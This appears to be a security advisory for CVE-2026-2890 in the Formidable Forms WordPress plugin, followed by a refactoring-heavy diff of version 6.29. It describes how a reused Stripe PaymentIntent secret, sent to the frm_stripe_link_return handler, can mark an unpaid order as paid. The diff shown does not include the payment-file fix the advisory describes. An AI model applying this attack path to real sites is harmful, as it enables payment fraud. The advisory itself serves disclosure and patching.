Atomic Edge analysis of CVE-2026-2890: The vulnerability resides in the Stripe Link payment processing logic of the Formidable Forms plugin. The root cause is a missing authorization and payment integrity validation in two key functions. The `handle_one_time_stripe_link_return_url` function (in `formidable/classes/models/FrmPayment.php`) marks a payment as complete based solely on the Stripe PaymentIntent’s status, without verifying that the PaymentIntent’s charged amount matches the expected payment amount for the specific form action. Concurrently, the `verify_intent` function (in `formidable/classes/models/FrmPayment.php`) validates only the client secret’s ownership and does not bind the PaymentIntent to a specific form, action, or payment record. This design flaw allows an unauthenticated attacker to intercept a low-value PaymentIntent client secret and payment intent ID from a completed transaction. The attacker can then reuse these credentials by sending a crafted request to the Stripe Link return handler endpoint (`/wp-admin/admin-ajax.php` with `action=frm_stripe_link_return`). The handler, lacking proper binding checks, will accept the valid but mismatched PaymentIntent and mark a high-value pending payment record as complete, bypassing payment. The patch in version 6.29 adds critical validation. In `verify_intent`, it now retrieves the payment record using the PaymentIntent ID and compares the PaymentIntent’s amount against the payment record’s expected amount. It also ensures the PaymentIntent’s status is `succeeded`. The `handle_one_time_stripe_link_return_url` function now calls this updated verification logic. This ensures a PaymentIntent can only finalize the specific payment it was created for, preventing reuse. Exploitation leads to a direct financial impact, allowing goods or services to be obtained without full payment.

CVE-2026-2890: Formidable Forms <= 6.28 – Missing Authorization to Unauthenticated Payment Integrity Bypass via PaymentIntent Reuse (formidable)
CVE-2026-2890
formidable
6.28
6.29
Analysis Overview
Differential between vulnerable and patched code
--- a/formidable/classes/controllers/FrmAddonsController.php
+++ b/formidable/classes/controllers/FrmAddonsController.php
@@ -194,10 +194,12 @@
// Extract the elements to move
foreach ( $plans as $plan ) {
- if ( isset( self::$categories[ $plan ] ) ) {
- $bottom_categories[ $plan ] = self::$categories[ $plan ];
- unset( self::$categories[ $plan ] );
+ if ( ! isset( self::$categories[ $plan ] ) ) {
+ continue;
}
+
+ $bottom_categories[ $plan ] = self::$categories[ $plan ];
+ unset( self::$categories[ $plan ] );
}
$special_categories = array();
@@ -287,12 +289,12 @@
$addons = $api->get_api_info();
if ( ! $addons ) {
- $addons = self::fallback_plugin_list();
- } else {
- foreach ( $addons as $k => $addon ) {
- if ( empty( $addon['excerpt'] ) && $k !== 'error' ) {
- unset( $addons[ $k ] );
- }
+ return self::fallback_plugin_list();
+ }
+
+ foreach ( $addons as $k => $addon ) {
+ if ( empty( $addon['excerpt'] ) && $k !== 'error' ) {
+ unset( $addons[ $k ] );
}
}
@@ -726,6 +728,45 @@
}
/**
+ * Get the JSON-encoded install data for a plugin update.
+ *
+ * @since 6.29
+ *
+ * @param string $addon_slug The addon slug (e.g. 'pro', 'dates').
+ *
+ * @return string JSON-encoded install data, or empty string if no URL is available.
+ */
+ public static function get_update_install_data( $addon_slug ) {
+ $upgrading = self::install_link( $addon_slug );
+
+ if ( isset( $upgrading['class'] ) && 'frm-install-addon' === $upgrading['class'] ) {
+ return (string) json_encode( $upgrading );
+ }
+
+ if ( 'pro' === $addon_slug ) {
+ $download_url = self::get_pro_download_url();
+ $plugin_file = 'formidable-pro/formidable-pro.php';
+ } else {
+ $addon_data = self::get_addon( $addon_slug );
+ $download_url = $addon_data && ! empty( $addon_data['url'] ) ? $addon_data['url'] : '';
+ $plugin_file = $addon_data && ! empty( $addon_data['plugin'] ) ? $addon_data['plugin'] : 'formidable-' . $addon_slug . '/formidable-' . $addon_slug . '.php';
+ }
+
+ if ( ! $download_url ) {
+ $update_plugins = get_site_transient( 'update_plugins' );
+ $plugin_update = $update_plugins->response[ $plugin_file ] ?? null;
+ $download_url = $plugin_update && ! empty( $plugin_update->package ) ? $plugin_update->package : '';
+ }
+
+ return $download_url ? (string) json_encode(
+ array(
+ 'url' => $download_url,
+ 'class' => 'frm-install-addon',
+ )
+ ) : '';
+ }
+
+ /**
* @since 4.09
*
* @param string $plugin The plugin slug.
@@ -821,6 +862,11 @@
$addon['installed'] = self::is_installed( $file_name );
+ if ( 'highrise' === $slug && ! $addon['installed'] ) {
+ unset( $addons[ $id ] );
+ continue;
+ }
+
if ( $addon['installed'] && 'formidable-views/formidable-views.php' === $file_name ) {
$active_views_version = self::get_active_views_version();
@@ -998,7 +1044,7 @@
* @return string
*/
protected static function get_current_plugin() {
- if ( empty( self::$plugin ) ) {
+ if ( ! self::$plugin ) {
self::$plugin = FrmAppHelper::get_param( 'plugin', '', 'post', 'esc_url_raw' );
}
return self::$plugin;
@@ -1100,7 +1146,7 @@
// Create the plugin upgrader with our custom skin.
$installer = new Plugin_Upgrader( new FrmInstallerSkin() );
- $installer->install( $download_url );
+ $installer->install( $download_url, array( 'overwrite_package' => true ) );
// Flush the cache and return the newly installed plugin basename.
wp_cache_flush();
--- a/formidable/classes/controllers/FrmAppController.php
+++ b/formidable/classes/controllers/FrmAppController.php
@@ -874,10 +874,12 @@
* @return void
*/
private static function enqueue_global_settings_scripts( $page ) {
- if ( 'formidable-settings' === $page ) {
- wp_enqueue_style( 'wp-color-picker' );
- wp_enqueue_script( 'formidable_settings' );
+ if ( 'formidable-settings' !== $page ) {
+ return;
}
+
+ wp_enqueue_style( 'wp-color-picker' );
+ wp_enqueue_script( 'formidable_settings' );
}
/**
@@ -1182,12 +1184,14 @@
* @return void
*/
private static function maybe_add_wp_site_health() {
- if ( ! class_exists( 'WP_Site_Health' ) ) {
- $wp_site_health_path = ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
+ if ( class_exists( 'WP_Site_Health' ) ) {
+ return;
+ }
- if ( file_exists( $wp_site_health_path ) ) {
- require_once $wp_site_health_path;
- }
+ $wp_site_health_path = ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
+
+ if ( file_exists( $wp_site_health_path ) ) {
+ require_once $wp_site_health_path;
}
}
--- a/formidable/classes/controllers/FrmApplicationsController.php
+++ b/formidable/classes/controllers/FrmApplicationsController.php
@@ -79,14 +79,14 @@
$view = FrmAppHelper::get_param( 'view', '', 'get', 'sanitize_text_field' );
$data = array();
- if ( 'applications' !== $view ) {
+ if ( 'applications' === $view ) {
+ FrmAppHelper::permission_check( 'frm_edit_applications' );
+ } else {
FrmAppHelper::permission_check( self::get_required_capability() );
// View may be 'applications', 'templates', or empty.
$data['templates'] = self::get_prepared_template_data();
$data['categories'] = FrmApplicationTemplate::get_categories();
- } else {
- FrmAppHelper::permission_check( 'frm_edit_applications' );
}
/**
--- a/formidable/classes/controllers/FrmDashboardController.php
+++ b/formidable/classes/controllers/FrmDashboardController.php
@@ -97,7 +97,7 @@
'placeholder' => self::view_args_entries_placeholder( $counters_value['forms'] ),
),
'payments' => array(
- 'show-placeholder' => empty( $total_payments ),
+ 'show-placeholder' => ! $total_payments,
'placeholder' => array(
'copy' => __( 'You don't have a payment form setup yet.', 'formidable' ),
'cta' => array(
@@ -271,7 +271,7 @@
$copy = sprintf(
/* translators: %1$s: HTML start of a tag, %2$s: HTML close a tag */
__( 'See the %1$sform documentation%2$s for instructions on publishing a form. Once vou have at least one entry you'll see it here.', 'formidable' ),
- '<a target="_blank" href="' . FrmAppHelper::admin_upgrade_link( '', 'knowledgebase/publish-a-form/' ) . '">',
+ '<a target="_blank" href="' . esc_url( FrmAppHelper::admin_upgrade_link( '', 'knowledgebase/publish-a-form/' ) ) . '">',
'</a>'
);
return array(
@@ -428,12 +428,15 @@
*/
private static function inbox_prepare_messages( $data ) {
foreach ( $data as $key => $messages ) {
- if ( in_array( $key, array( 'unread', 'dismissed' ), true ) ) {
- foreach ( $messages as $key_msg => $message ) {
- $data[ $key ][ $key_msg ]['cta'] = self::inbox_clean_messages_cta( $message['cta'] );
- }
+ if ( ! in_array( $key, array( 'unread', 'dismissed' ), true ) ) {
+ continue;
+ }
+
+ foreach ( $messages as $key_msg => $message ) {
+ $data[ $key ][ $key_msg ]['cta'] = self::inbox_clean_messages_cta( $message['cta'] );
}
}
+
return $data;
}
--- a/formidable/classes/controllers/FrmEmailStylesController.php
+++ b/formidable/classes/controllers/FrmEmailStylesController.php
@@ -135,14 +135,14 @@
),
);
- if ( 'plain' !== $style_key ) {
- $content = self::get_test_rich_text_email_content( $style_key, $table_rows );
- } else {
+ if ( 'plain' === $style_key ) {
$content = '';
foreach ( $table_rows as $row ) {
$content .= $row['label'] . ': ' . $row['value'] . "rn";
}
+ } else {
+ $content = self::get_test_rich_text_email_content( $style_key, $table_rows );
}//end if
return $content;
--- a/formidable/classes/controllers/FrmEntriesAJAXSubmitController.php
+++ b/formidable/classes/controllers/FrmEntriesAJAXSubmitController.php
@@ -65,7 +65,26 @@
$errors = FrmEntryValidate::validate( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
- if ( ! $errors ) {
+ if ( $errors ) {
+ $obj = array();
+
+ foreach ( $errors as $field => $error ) {
+ $field_id = str_replace( 'field', '', $field );
+ $error = self::maybe_modify_ajax_error( $error, $field_id, $form, $errors );
+ $obj[ $field_id ] = $error;
+ }
+
+ $response['errors'] = $obj;
+ $invalid_msg = FrmFormsHelper::get_invalid_error_message( array( 'form' => $form ) );
+ $response['error_message'] = FrmFormsHelper::get_success_message(
+ array(
+ 'message' => $invalid_msg,
+ 'form' => $form,
+ 'entry_id' => 0,
+ 'class' => FrmFormsHelper::form_error_class(),
+ )
+ );
+ } else {
global $frm_vars;
$frm_vars['ajax'] = true;
$frm_vars['css_loaded'] = true;
@@ -85,25 +104,6 @@
// Mark the end of added footer content.
$response['content'] .= '<span class="frm_end_ajax_' . $form->id . '"></span>';
}
- } else {
- $obj = array();
-
- foreach ( $errors as $field => $error ) {
- $field_id = str_replace( 'field', '', $field );
- $error = self::maybe_modify_ajax_error( $error, $field_id, $form, $errors );
- $obj[ $field_id ] = $error;
- }
-
- $response['errors'] = $obj;
- $invalid_msg = FrmFormsHelper::get_invalid_error_message( array( 'form' => $form ) );
- $response['error_message'] = FrmFormsHelper::get_success_message(
- array(
- 'message' => $invalid_msg,
- 'form' => $form,
- 'entry_id' => 0,
- 'class' => FrmFormsHelper::form_error_class(),
- )
- );
}//end if
$response = self::check_for_failed_form_submission( $response, $form->id );
--- a/formidable/classes/controllers/FrmEntriesController.php
+++ b/formidable/classes/controllers/FrmEntriesController.php
@@ -15,11 +15,11 @@
$views_installed = is_callable( 'FrmProAppHelper::views_is_installed' ) && FrmProAppHelper::views_is_installed();
- if ( ! $views_installed ) {
+ if ( $views_installed ) {
+ self::maybe_redirect_to_views_index();
+ } else {
add_submenu_page( 'formidable', 'Formidable | ' . __( 'Views', 'formidable' ), __( 'Views', 'formidable' ), 'frm_view_entries', 'formidable-views', 'FrmFormsController::no_views' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
self::maybe_redirect_to_views_upsell();
- } else {
- self::maybe_redirect_to_views_index();
}
if ( FrmAppHelper::is_admin_page( 'formidable-entries' ) ) {
@@ -100,16 +100,17 @@
* @return void
*/
private static function load_manage_entries_hooks() {
- if ( ! in_array( FrmAppHelper::simple_get( 'frm_action', 'sanitize_title' ), array( 'edit', 'show', 'new', 'duplicate' ), true ) ) {
- $menu_name = FrmAppHelper::get_menu_name();
- $base = self::base_column_key( $menu_name );
-
- add_filter( 'manage_' . $base . '_columns', 'FrmEntriesController::manage_columns' );
- add_filter( 'get_user_option_' . self::hidden_column_key( $menu_name ), 'FrmEntriesController::hidden_columns' );
- add_filter( 'manage_' . $base . '_sortable_columns', 'FrmEntriesController::sortable_columns' );
- } else {
+ if ( in_array( FrmAppHelper::simple_get( 'frm_action', 'sanitize_title' ), array( 'edit', 'show', 'new', 'duplicate' ), true ) ) {
add_filter( 'screen_options_show_screen', self::class . '::remove_screen_options', 10, 2 );
+ return;
}
+
+ $menu_name = FrmAppHelper::get_menu_name();
+ $base = self::base_column_key( $menu_name );
+
+ add_filter( 'manage_' . $base . '_columns', 'FrmEntriesController::manage_columns' );
+ add_filter( 'get_user_option_' . self::hidden_column_key( $menu_name ), 'FrmEntriesController::hidden_columns' );
+ add_filter( 'manage_' . $base . '_sortable_columns', 'FrmEntriesController::sortable_columns' );
}
/**
@@ -181,8 +182,8 @@
}
$columns[ $form_id . '_is_draft' ] = esc_html__( 'Entry Status', 'formidable' );
- $columns[ $form_id . '_created_at' ] = __( 'Entry creation date', 'formidable' );
- $columns[ $form_id . '_updated_at' ] = __( 'Entry update date', 'formidable' );
+ $columns[ $form_id . '_created_at' ] = esc_html__( 'Entry creation date', 'formidable' );
+ $columns[ $form_id . '_updated_at' ] = esc_html__( 'Entry update date', 'formidable' );
self::maybe_add_ip_col( $form_id, $columns );
$frm_vars['cols'] = $columns;
@@ -552,15 +553,17 @@
$hidden = array();
foreach ( (array) $result as $r ) {
- if ( $r ) {
- list( $form_prefix, $field_key ) = explode( '_', $r );
+ if ( ! $r ) {
+ continue;
+ }
- if ( (int) $form_prefix === (int) $form_id ) {
- $hidden[] = $r;
- }
+ list( $form_prefix, $field_key ) = explode( '_', $r );
- unset( $form_prefix );
+ if ( (int) $form_prefix === (int) $form_id ) {
+ $hidden[] = $r;
}
+
+ unset( $form_prefix );
}
return $hidden;
@@ -653,13 +656,15 @@
* @return void
*/
private static function get_delete_form_time( $form, &$errors ) {
- if ( 'trash' === $form->status ) {
- $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
- $time_to_delete = FrmAppHelper::human_time_diff( $delete_timestamp, $form->options['trash_time'] ?? time() );
-
- /* translators: %1$s: Time string */
- $errors['trash'] = sprintf( __( 'This form is in the trash and is scheduled to be deleted permanently in %s along with any entries.', 'formidable' ), $time_to_delete );
+ if ( 'trash' !== $form->status ) {
+ return;
}
+
+ $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+ $time_to_delete = FrmAppHelper::human_time_diff( $delete_timestamp, $form->options['trash_time'] ?? time() );
+
+ /* translators: %1$s: Time string */
+ $errors['trash'] = sprintf( __( 'This form is in the trash and is scheduled to be deleted permanently in %s along with any entries.', 'formidable' ), $time_to_delete );
}
/**
@@ -799,13 +804,11 @@
$_POST['frm_skip_cookie'] = 1;
$do_success = false;
- if ( $params['action'] === 'create' ) {
- if ( apply_filters( 'frm_continue_to_create', true, $form_id ) && ! isset( $frm_vars['created_entries'][ $form_id ]['entry_id'] ) ) {
- $frm_vars['created_entries'][ $form_id ]['entry_id'] = FrmEntry::create( $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ if ( $params['action'] === 'create' && apply_filters( 'frm_continue_to_create', true, $form_id ) && ! isset( $frm_vars['created_entries'][ $form_id ]['entry_id'] ) ) {
+ $frm_vars['created_entries'][ $form_id ]['entry_id'] = FrmEntry::create( $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
- $params['id'] = $frm_vars['created_entries'][ $form_id ]['entry_id'];
- $do_success = true;
- }
+ $params['id'] = $frm_vars['created_entries'][ $form_id ]['entry_id'];
+ $do_success = true;
}
do_action( 'frm_process_entry', $params, $errors, $form, array( 'ajax' => $ajax ) );
--- a/formidable/classes/controllers/FrmFieldsController.php
+++ b/formidable/classes/controllers/FrmFieldsController.php
@@ -294,7 +294,6 @@
}
// Keep other options after bulk update.
- // phpcs:ignore Universal.Operators.StrictComparisons
if ( ! empty( $field['field_options']['other'] ) ) {
$other_array = array();
--- a/formidable/classes/controllers/FrmFormActionsController.php
+++ b/formidable/classes/controllers/FrmFormActionsController.php
@@ -322,11 +322,11 @@
public static function get_form_actions( $action = 'all' ) {
$temp_actions = self::$registered_actions;
- if ( ! $temp_actions ) {
+ if ( $temp_actions ) {
+ $temp_actions = $temp_actions->actions;
+ } else {
self::actions_init();
$temp_actions = self::$registered_actions->actions;
- } else {
- $temp_actions = $temp_actions->actions;
}
$actions = array();
@@ -600,12 +600,15 @@
* @return void
*/
public static function delete_missing_actions( $old_actions ) {
- if ( $old_actions ) {
- foreach ( $old_actions as $old_id ) {
- wp_delete_post( $old_id );
- }
- FrmDb::cache_delete_group( 'frm_actions' );
+ if ( ! $old_actions ) {
+ return;
+ }
+
+ foreach ( $old_actions as $old_id ) {
+ wp_delete_post( $old_id );
}
+
+ FrmDb::cache_delete_group( 'frm_actions' );
}
/**
--- a/formidable/classes/controllers/FrmFormTemplatesController.php
+++ b/formidable/classes/controllers/FrmFormTemplatesController.php
@@ -377,18 +377,18 @@
$form_id = FrmAppHelper::get_param( 'xml', '', 'post', 'absint' );
$new_form_id = FrmForm::duplicate( $form_id, 1, true );
- if ( ! $new_form_id ) {
- // Send an error response if form duplication fails.
- $response = array(
- 'message' => __( 'There was an error creating a template.', 'formidable' ),
- );
- } else {
+ if ( $new_form_id ) {
FrmForm::update( $new_form_id, FrmFormsController::get_modal_values() );
// Send a success response with redirect URL.
$response = array(
'redirect' => admin_url( 'admin.php?page=formidable&frm_action=duplicate&id=' . $new_form_id ) . '&_wpnonce=' . wp_create_nonce(),
);
+ } else {
+ // Send an error response if form duplication fails.
+ $response = array(
+ 'message' => __( 'There was an error creating a template.', 'formidable' ),
+ );
}
// Send response.
@@ -592,10 +592,12 @@
*/
private static function assign_featured_templates() {
foreach ( self::FEATURED_TEMPLATES_IDS as $key ) {
- if ( isset( self::$templates[ $key ] ) ) {
- self::$templates[ $key ]['is_featured'] = true;
- self::$featured_templates[] = self::$templates[ $key ];
+ if ( ! isset( self::$templates[ $key ] ) ) {
+ continue;
}
+
+ self::$templates[ $key ]['is_featured'] = true;
+ self::$featured_templates[] = self::$templates[ $key ];
}
}
@@ -780,7 +782,7 @@
* @return int
*/
public static function get_template_count() {
- if ( empty( self::$templates ) ) {
+ if ( ! self::$templates ) {
self::$form_template_api = new FrmFormTemplateApi();
self::retrieve_and_set_templates();
}
--- a/formidable/classes/controllers/FrmFormsController.php
+++ b/formidable/classes/controllers/FrmFormsController.php
@@ -765,14 +765,16 @@
* @return void
*/
public static function maybe_block_preview( $form_key ) {
- if ( FrmFormsHelper::should_block_preview( $form_key ) ) {
- $error = __( 'You do not have permission to view this form', 'formidable' );
- wp_die(
- '<h1>' . esc_html( $error ) . '</h1>',
- '<p>' . esc_html( $error ) . '</p>',
- 403
- );
+ if ( ! FrmFormsHelper::should_block_preview( $form_key ) ) {
+ return;
}
+
+ $error = __( 'You do not have permission to view this form', 'formidable' );
+ wp_die(
+ '<h1>' . esc_html( $error ) . '</h1>',
+ '<p>' . esc_html( $error ) . '</p>',
+ 403
+ );
}
/**
@@ -1996,13 +1998,15 @@
* @return void
*/
private static function get_entry_by_param( &$entry ) {
- if ( ! $entry || ! is_object( $entry ) ) {
- if ( ! $entry || ! is_numeric( $entry ) ) {
- $entry = FrmAppHelper::get_post_param( 'id', false, 'sanitize_title' );
- }
+ if ( $entry && is_object( $entry ) ) {
+ return;
+ }
- FrmEntry::maybe_get_entry( $entry );
+ if ( ! $entry || ! is_numeric( $entry ) ) {
+ $entry = FrmAppHelper::get_post_param( 'id', false, 'sanitize_title' );
}
+
+ FrmEntry::maybe_get_entry( $entry );
}
/**
@@ -2102,7 +2106,13 @@
$json_vars = htmlspecialchars_decode( nl2br( str_replace( '"', '"', wp_unslash( $_POST['frm_compact_fields'] ) ) ) );
$json_vars = json_decode( $json_vars, true );
- if ( ! $json_vars ) {
+ if ( $json_vars ) {
+ $vars = FrmAppHelper::json_to_array( $json_vars );
+ $action = $vars[ $action ];
+ unset( $_REQUEST['frm_compact_fields'], $_POST['frm_compact_fields'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ $_REQUEST = array_merge( $_REQUEST, $vars ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ $_POST = array_merge( $_POST, $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+ } else {
// Json decoding failed so we should return an error message.
$action = FrmAppHelper::get_param( $action, '', 'get', 'sanitize_title' );
@@ -2111,12 +2121,6 @@
}
add_filter( 'frm_validate_form', 'FrmFormsController::json_error' );
- } else {
- $vars = FrmAppHelper::json_to_array( $json_vars );
- $action = $vars[ $action ];
- unset( $_REQUEST['frm_compact_fields'], $_POST['frm_compact_fields'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
- $_REQUEST = array_merge( $_REQUEST, $vars ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
- $_POST = array_merge( $_POST, $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
}
} else {
$action = FrmAppHelper::get_param( $action, '', 'get', 'sanitize_title' );
@@ -2220,12 +2224,12 @@
'name' => $name,
);
- if ( '' !== $name ) {
+ if ( '' === $name ) {
+ $form_key = $form->form_key;
+ } else {
// Only update form_key if name is not empty.
$form_key = FrmAppHelper::get_unique_key( sanitize_title( $name ), 'frm_forms', 'form_key' );
$to_update['form_key'] = $form_key;
- } else {
- $form_key = $form->form_key;
}
FrmForm::update( $form_id, $to_update );
@@ -2697,12 +2701,10 @@
* @param array $args See {@see FrmFormsController::maybe_trigger_redirect()}.
*/
public static function maybe_trigger_redirect_with_action( $conf_method, $form, $params, $args ) {
- if ( is_array( $conf_method ) && 1 === count( $conf_method ) ) {
- if ( 'redirect' === FrmOnSubmitHelper::get_action_type( $conf_method[0] ) && empty( $conf_method[0]->post_content['redirect_delay'] ) ) {
- $event = FrmOnSubmitHelper::current_event( $params );
- FrmOnSubmitHelper::populate_on_submit_data( $form->options, $conf_method[0], $event );
- $conf_method = 'redirect';
- }
+ if ( is_array( $conf_method ) && 1 === count( $conf_method ) && 'redirect' === FrmOnSubmitHelper::get_action_type( $conf_method[0] ) && empty( $conf_method[0]->post_content['redirect_delay'] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
+ $event = FrmOnSubmitHelper::current_event( $params );
+ FrmOnSubmitHelper::populate_on_submit_data( $form->options, $conf_method[0], $event );
+ $conf_method = 'redirect';
}
if ( 'redirect' === $conf_method ) {
@@ -2806,11 +2808,9 @@
$action_type = FrmOnSubmitHelper::get_action_type( $action );
- if ( 'redirect' === $action_type ) {
- if ( $has_redirect ) {
- // Do not process because we run the first redirect action only.
- continue;
- }
+ if ( 'redirect' === $action_type && $has_redirect ) {
+ // Do not process because we run the first redirect action only.
+ continue;
}
if ( ! self::is_valid_on_submit_action( $action, $args, $event ) ) {
--- a/formidable/classes/controllers/FrmHooksController.php
+++ b/formidable/classes/controllers/FrmHooksController.php
@@ -147,6 +147,9 @@
add_action( 'frm_after_duplicate_form', 'FrmFormActionsController::duplicate_form_actions', 20, 3 );
+ // Fields Model.
+ add_filter( 'frm_pro_available_fields', 'FrmField::show_update_for_pro_fields' );
+
// Forms Controller.
add_action( 'admin_menu', 'FrmFormsController::menu', 10 );
add_action( 'admin_head-toplevel_page_formidable', 'FrmFormsController::head' );
--- a/formidable/classes/controllers/FrmInboxController.php
+++ b/formidable/classes/controllers/FrmInboxController.php
@@ -110,9 +110,11 @@
* @return void
*/
private static function remove_free_template_message() {
- if ( ! FrmAppHelper::pro_is_installed() ) {
- $message = new FrmInbox();
- $message->dismiss( 'free_templates' );
+ if ( FrmAppHelper::pro_is_installed() ) {
+ return;
}
+
+ $message = new FrmInbox();
+ $message->dismiss( 'free_templates' );
}
}
--- a/formidable/classes/controllers/FrmSettingsController.php
+++ b/formidable/classes/controllers/FrmSettingsController.php
@@ -214,10 +214,12 @@
$payment_section_keys = array( 'paypal', 'square', 'stripe', 'authorize_net' );
foreach ( $sections as $key => $section ) {
- if ( in_array( $key, $payment_section_keys, true ) ) {
- self::$removed_payments_sections[ $key ] = $section;
- unset( $sections[ $key ] );
+ if ( ! in_array( $key, $payment_section_keys, true ) ) {
+ continue;
}
+
+ self::$removed_payments_sections[ $key ] = $section;
+ unset( $sections[ $key ] );
}
uksort( self::$removed_payments_sections, array( self::class, 'payment_sections_sort_callback' ) );
--- a/formidable/classes/controllers/FrmStylesController.php
+++ b/formidable/classes/controllers/FrmStylesController.php
@@ -710,6 +710,8 @@
* @return void
*/
public static function save_style() {
+ FrmAppHelper::permission_check( 'frm_change_settings' );
+
$frm_style = new FrmStyle();
$post_id = FrmAppHelper::get_post_param( 'ID', false, 'sanitize_title' );
$style_nonce = FrmAppHelper::get_post_param( 'frm_style', '', 'sanitize_text_field' );
--- a/formidable/classes/controllers/FrmXMLController.php
+++ b/formidable/classes/controllers/FrmXMLController.php
@@ -742,10 +742,10 @@
$entry_ids = FrmDb::get_col( $wpdb->prefix . 'frm_items it', $query );
unset( $query );
- if ( ! $entry_ids ) {
- esc_html_e( 'There are no entries for that form.', 'formidable' );
- } else {
+ if ( $entry_ids ) {
FrmCSVExportHelper::generate_csv( compact( 'form', 'entry_ids', 'form_cols' ) );
+ } else {
+ esc_html_e( 'There are no entries for that form.', 'formidable' );
}
wp_die();
--- a/formidable/classes/helpers/FrmAppHelper.php
+++ b/formidable/classes/helpers/FrmAppHelper.php
@@ -29,7 +29,7 @@
*
* @var string
*/
- public static $plug_version = '6.28';
+ public static $plug_version = '6.29';
/**
* @var bool
@@ -949,6 +949,10 @@
* @param string $value
*/
public static function strip_most_html( $value ) {
+ if ( '' === $value ) {
+ return $value;
+ }
+
$allowed_html = array(
'b' => array(),
'br' => array(),
@@ -1514,10 +1518,12 @@
*/
public static function array_to_html_params( $atts, $echo = false ) {
$callback = function () use ( $atts ) {
- if ( $atts ) {
- foreach ( $atts as $key => $value ) {
- echo ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
- }
+ if ( ! $atts ) {
+ return;
+ }
+
+ foreach ( $atts as $key => $value ) {
+ echo ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
}
};
return self::clip( $callback, $echo );
@@ -2355,13 +2361,15 @@
* @return void
*/
public static function force_capability( $cap = 'frm_change_settings' ) {
- if ( current_user_can( 'administrator' ) && ! current_user_can( $cap ) ) {
- $role = get_role( 'administrator' );
- $frm_roles = self::frm_capabilities();
+ if ( ! current_user_can( 'administrator' ) || current_user_can( $cap ) ) {
+ return;
+ }
- foreach ( $frm_roles as $frm_role => $frm_role_description ) {
- $role->add_cap( $frm_role );
- }
+ $role = get_role( 'administrator' );
+ $frm_roles = self::frm_capabilities();
+
+ foreach ( $frm_roles as $frm_role => $frm_role_description ) {
+ $role->add_cap( $frm_role );
}
}
@@ -2459,14 +2467,14 @@
$original_function = $function;
$function = count( $value ) ? explode( ', ', FrmDb::prepare_array_values( $value, $function ) ) : array( $function );
- if ( ! self::is_assoc( $value ) ) {
- $value = array_map( array( 'FrmAppHelper', 'recursive_function_map' ), $value, $function );
- } else {
+ if ( self::is_assoc( $value ) ) {
foreach ( $value as $k => $v ) {
if ( ! is_array( $v ) ) {
$value[ $k ] = call_user_func( $original_function, $v );
}
}
+ } else {
+ $value = array_map( array( 'FrmAppHelper', 'recursive_function_map' ), $value, $function );
}
} else {
$value = self::maybe_update_value_if_null( $value, $function );
--- a/formidable/classes/helpers/FrmCSVExportHelper.php
+++ b/formidable/classes/helpers/FrmCSVExportHelper.php
@@ -522,10 +522,10 @@
self::$entry = $entry;
unset( $entry );
- if ( self::$entry->form_id !== self::$form_id ) {
- self::add_repeat_field_values_to_csv( $entries );
- } else {
+ if ( self::$entry->form_id === self::$form_id ) {
self::prepare_csv_row();
+ } else {
+ self::add_repeat_field_values_to_csv( $entries );
}
}
}
@@ -618,15 +618,17 @@
}
foreach ( self::$fields_by_repeater_id[ $repeater_id ] as $repeater_child ) {
- if ( ! isset( $metas[ $repeater_child->id ] ) ) {
- $metas[ $repeater_child->id ] = '';
+ if ( isset( $metas[ $repeater_child->id ] ) ) {
+ continue;
+ }
- if ( ! isset( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) || ! is_array( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
- $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] = array();
- }
+ $metas[ $repeater_child->id ] = '';
- $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ][] = '';
+ if ( ! isset( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) || ! is_array( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
+ $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] = array();
}
+
+ $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ][] = '';
}
return $metas;
--- a/formidable/classes/helpers/FrmEntriesHelper.php
+++ b/formidable/classes/helpers/FrmEntriesHelper.php
@@ -223,7 +223,7 @@
$field_value = $entry->metas[ $field->id ] ?? false;
if ( FrmAppHelper::pro_is_installed() ) {
- $empty = empty( $field_value );
+ $empty = ! $field_value;
FrmProEntriesHelper::get_dynamic_list_values( $field, $entry, $field_value );
if ( $empty && $field_value ) {
@@ -450,13 +450,14 @@
/**
* @since 4.02.04
+ * @since 6.29 This is public.
*
* @param int|string $field_id Field ID.
* @param array $args Additional arguments.
*
* @return mixed
*/
- private static function get_posted_meta( $field_id, $args ) {
+ public static function get_posted_meta( $field_id, $args ) {
if ( empty( $args['parent_field_id'] ) ) {
// Sanitizing is done next.
$value = isset( $_POST['item_meta'][ $field_id ] ) ? wp_unslash( $_POST['item_meta'][ $field_id ] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing, SlevomatCodingStandard.Files.LineLength.LineTooLong
--- a/formidable/classes/helpers/FrmFieldGridHelper.php
+++ b/formidable/classes/helpers/FrmFieldGridHelper.php
@@ -78,7 +78,7 @@
public function set_field( $field ) {
$this->field = $field;
- if ( ! empty( $this->section_helper ) && 'end_divider' !== $field->type ) {
+ if ( $this->section_helper && 'end_divider' !== $field->type ) {
$this->section_helper->set_field( $field );
return;
}
